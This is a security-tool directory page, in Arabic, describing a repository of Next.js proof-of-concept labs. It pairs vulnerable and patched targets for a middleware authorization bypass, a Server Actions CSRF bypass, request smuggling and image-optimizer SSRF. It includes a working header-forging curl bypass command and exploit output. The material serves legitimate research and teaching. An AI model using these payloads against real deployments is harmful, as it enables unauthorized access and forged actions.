Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Next.js-Proof-of-Concept — بعض إثباتات المفهوم (POCs) لـ CVE-2025-29927 و CVE-2026-27978 و CVE-2026-29057 في Next.js. | Kitploit
أدوات/GitHubGitHub/nayekah/next.js-proof-of-concept
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

بعض إثباتات المفهوم (POCs) لـ CVE-2025-29927 و CVE-2026-27978 و CVE-2026-29057 في Next.js.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم لثغرات Next.js CVE

يحتوي هذا المستودع على بيئات إثبات مفهوم قابلة لإعادة الإنتاج لثلاث ثغرات في Next.js. يتضمن كل إثبات مفهوم هدفًا ضعيفًا وهدفًا مُصلَحًا ونصًا برمجيًا يوضح الفرق السلوكي بينهما.

الهدف من هذا المشروع هو تسهيل ملاحظة السبب الجذري والتأثير العملي لكل مشكلة في بيئة بسيطة.

الثغرات المضمنة

CVEالاستشارةالتأثيرالإصدار الضعيفالإصدار المُصلَح
CVE-2025-29927GHSA-f82v-jwr5-mffwتجاوز التفويض عندما يعتمد التحكم في الوصول فقط على middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxتجاوز فحوصات CSRF لـ Server Actions عبر Origin: null16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8تهريب طلبات HTTP عبر إعادة كتابة إلى خلفية خارجية15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTنتيجة تدقيق أمني محلي المصدرتجاوز قائمة السماح لمُحسِّن الصور عن بعد عبر عمليات إعادة التوجيه16.2.4لم يتم التحقق
NEXT-16.2.4-IMAGE-LOCAL-REWRITEنتيجة تدقيق أمني محلي المصدريمكن لعنوان URL محلي لمُحسِّن الصور الوصول إلى خلفية خاصة عبر إعادة كتابة خارجية16.2.4لم يتم التحقق

إصدارات الإصدار وإصدارات التصحيح

التجزئات أدناه مأخوذة من المستودع الأصلي vercel/next.js.

هيكل المستودع

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

المتطلبات الأساسية

  1. قم بتثبيت Docker Desktop أو Docker Engine.
  2. تأكد من توفر الأمر docker compose.
  3. نفذ الأوامر من جذر هذا المستودع.

بدء جميع الخدمات

root@kitploit:~
docker compose up --build

المنافذ المكشوفة:

  • 3001 -> CVE-2025-29927 ضعيف
  • 3002 -> CVE-2025-29927 مُصلَح
  • 3003 -> CVE-2026-27978 ضعيف
  • 3004 -> CVE-2026-27978 مُصلَح
  • 3005 -> CVE-2026-29057 ضعيف
  • 3006 -> CVE-2026-29057 مُصلَح
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 ->

إعادة إنتاج 1: CVE-2025-29927

مسار الشيفرة الضعيفة

في إثبات المفهوم هذا، /dashboard محمي فقط بواسطة middleware:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

فحص التفويض نفسه ليس خاطئًا. المشكلة هي أن المسار يعتمد كليًا على افتراض أنه لا يمكن تخطي تنفيذ middleware.

في إصدارات Next.js المتأثرة، كان بإمكان الطلبات الخارجية لا يزال توفير الرأس الداخلي x-middleware-subrequest، وكانت بيئة التشغيل تتعامل مع تلك القيمة كبيانات تعريف موثوقة لـ middleware. المنطق الضعيف ذو الصلة كان:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest لم يتم تصفيته هناك، لذا يمكن للمدخلات التي يتحكم فيها المهاجم الوصول إلى بيئة تشغيل middleware. ثم تم استخدام تلك القيمة لاشتقاق عمق التكرار:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

إذا أرسل المهاجم middleware:middleware:middleware:middleware:middleware، فقد تستنتج بيئة التشغيل أن عمق التكرار قد تم الوصول إليه بالفعل وترسل الطلب دون تنفيذ middleware التطبيق.

التشغيل

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

السلوك المتوقع:

  • 3001 يُرجع إعادة توجيه بدون رأس الاستغلال، لكنه يُرجع 200 OK مع x-middleware-subrequest.
  • 3002 يستمر في إعادة التوجيه إلى /login لأن الرأس الداخلي لم يعد موثوقًا من المدخلات الخارجية.

إعادة إنتاج 2: CVE-2026-27978

مسار الشيفرة الضعيفة

يكشف إثبات المفهوم هذا عن إجراء Server Action عادي يُغير الحالة من جانب الخادم:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

المشكلة ليست في transferFunds() نفسها. السلوك الضعيف كان في التحقق من CSRF لـ Server Actions في Next.js. في الإصدارات المتأثرة، تم التعامل مع Origin: null كأصل مفقود بدلاً من أصل غير شفاف صريح:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

لأن 'null' أصبحت undefined، يمكن للطلبات من الأصول غير الشفافة مثل iframes المحصورة تجنب مسار مقارنة المضيف/الأصل ومع ذلك يتم معالجتها مع إرفاق ملفات تعريف ارتباط الضحية.

التشغيل

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

السلوك المتوقع:

  • يسجل النص البرمجي الدخول كضحية، ويستخرج حقل Server Action المُنشأ من الصفحة، ويُرسله مع Origin: null
  • على الهدف الضعيف، تتغير حالة التحويل
  • على الهدف المُصلَح، يفشل الطلب وتبقى الحالة دون تغيير

إعادة إنتاج 3: CVE-2026-29057

مسار الشيفرة الضعيفة

يعيد إثبات المفهوم هذا كتابة /rewrites/:path* إلى خلفية خارجية:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

السلوك الضعيف كان في تبعية http-proxy المضمنة التي يستخدمها Next.js لإعادة الكتابة. في الإصدارات المتأثرة، كان منطق البروكسي لطلبات DELETE و OPTIONS يمكن أن يُضيف content-length: 0 ويزيل transfer-encoding:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

أنشأ ذلك اختلافًا في حدود الطلب بين سلسلة البروكسي والخلفية عندما تم تمرير طلب مقسم مُصمم. نتيجة لذلك، يمكن تهريب طلب ثانٍ إلى الخلفية عبر نفس الاتصال.

التشغيل

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

السلوك المتوقع:

  • يعيد النص البرمجي تعيين الحالة الملاحظة، ثم يُرسل طلبًا خامًا مقسمًا DELETE /rewrites/poc يحتوي على طلب مُهرّب GET /secret
  • على الهدف الضعيف، تسجل الخلفية كلاً من DELETE /rewrites/poc و GET /secret
  • على الهدف المُصلَح، تسجل الخلفية فقط الطلب الأول المُعاد كتابته

مثال على المخرجات الملاحظة:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

إعادة إنتاج 4: NEXT-16.2.4-IMAGE-REDIRECT

مسار الشيفرة الضعيفة

يتحقق مصدر next.js-16.2.4 المحلي من images.remotePatterns فقط للمعامل الأصلي url في ImageOptimizerCache.validateParams():

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

ثم يتبع مسار الجلب الشبكي عمليات إعادة التوجيه بشكل متكرر في fetchExternalImage():

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

تلك الاستدعاءات المتكررة تحتفظ بفحص IP الخاص، لكنها لا تتلقى أو تعيد تطبيق domains / remotePatterns. يمكن لأصل صورة مسموح به تم تكوينه بالتالي إعادة توجيه المُحسِّن إلى أصل عام مختلف لن يجتاز قائمة السماح الأصلية للصورة.

يستخدم إثبات المفهوم خدمات المضيف المحلي ويضبط dangerouslyAllowLocalIP: true فقط حتى يمكن إعادة إنتاج سلوك قائمة السماح بدون بنية تحتية خارجية. قائمة السماح للصورة المُكونة تسمح فقط بـ http://127.0.0.1:4100/allowed/**; يعيد ذلك الخادم التوجيه إلى http://127.0.0.1:4200/blocked/private.png، ويسجل الخادم الثاني ما إذا كان قد تم الوصول إليه.

التشغيل

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

السلوك المتوقع:

  • يقبل المُحسِّن عنوان URL الأصلي المسموح به على المنفذ 4100
  • يعيد الخادم المسموح به التوجيه إلى عنوان URL على المنفذ 4200، وهو خارج images.remotePatterns
  • على الهدف الضعيف، يسجل الخادم على المنفذ 4200 GET /blocked/private.png
  • على هدف مُصلَح، يجب رفض هدف إعادة التوجيه قبل جلب الخادم الثاني

أوامر يدوية سريعة

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

استخدم النص البرمجي المقدم، لأن حقل Server Action يتم إنشاؤه ديناميكيًا بواسطة الخادم.

CVE-2026-29057

استخدم النص البرمجي المقدم، لأن الاستغلال يعتمد على حمولة TCP خام مع طلب ثانٍ مُهرّب.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

إعادة إنتاج 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

مسار الشيفرة الضعيفة

بالنسبة لعنوان URL صورة محلية، يتحقق ImageOptimizerCache.validateParams() فقط من مسار المحلي مقابل images.localPatterns:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

ثم يعيد مسار الجلب الداخلي الدخول إلى معالج طلبات Next.js:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

إذا تم تكوين المسار المحلي المطابق كإعادة كتابة خارجية، يمكن توجيه الطلب بالبروكسي إلى تلك الوجهة الخارجية. هذا المسار لا يستدعي fetchExternalImage()، لذا فإن حماية IP الخاص المستخدمة لعناوين URL الصور المطلقة لا تُطبق على الوجهة المُعاد كتابتها.

يسمح تكوين إثبات المفهوم فقط بعناوين URL الصور المحلية تحت /allowed/**، ثم يعيد كتابة ذلك المسار إلى http://127.0.0.1:4300/private/:path*:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

التشغيل

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

السلوك المتوقع:

  • يقبل المُحسِّن /allowed/secret.png لأنه يطابق images.localPatterns
  • يطبق Next.js إعادة الكتابة الخارجية إلى http://127.0.0.1:4300/private/secret.png
  • على الهدف الضعيف، يسجل الخادم الخاص GET /private/secret.png
  • على هدف مُصلَح، يجب أن يرفض مُحسِّن الصور وجهات إعادة الكتابة الخارجية/الخاصة قبل توجيهها بالبروكسي

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

المصادر

  • استشارات أمان Next.js
  • استشارة CVE-2025-29927
  • تحليل ما بعد الحادث لتجاوز middleware
  • استشارة CVE-2026-27978
  • استشارة CVE-2026-29057
  • إصدار التصحيح لـ CVE-2026-29057
تنزيل الأداة
CVEإصدار الإصدار الضعيفإصدار الإصدار المُصلَحإصدار التصحيح ذو الصلة
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6
NEXT-16.2.4-IMAGE-LOCAL-REWRITE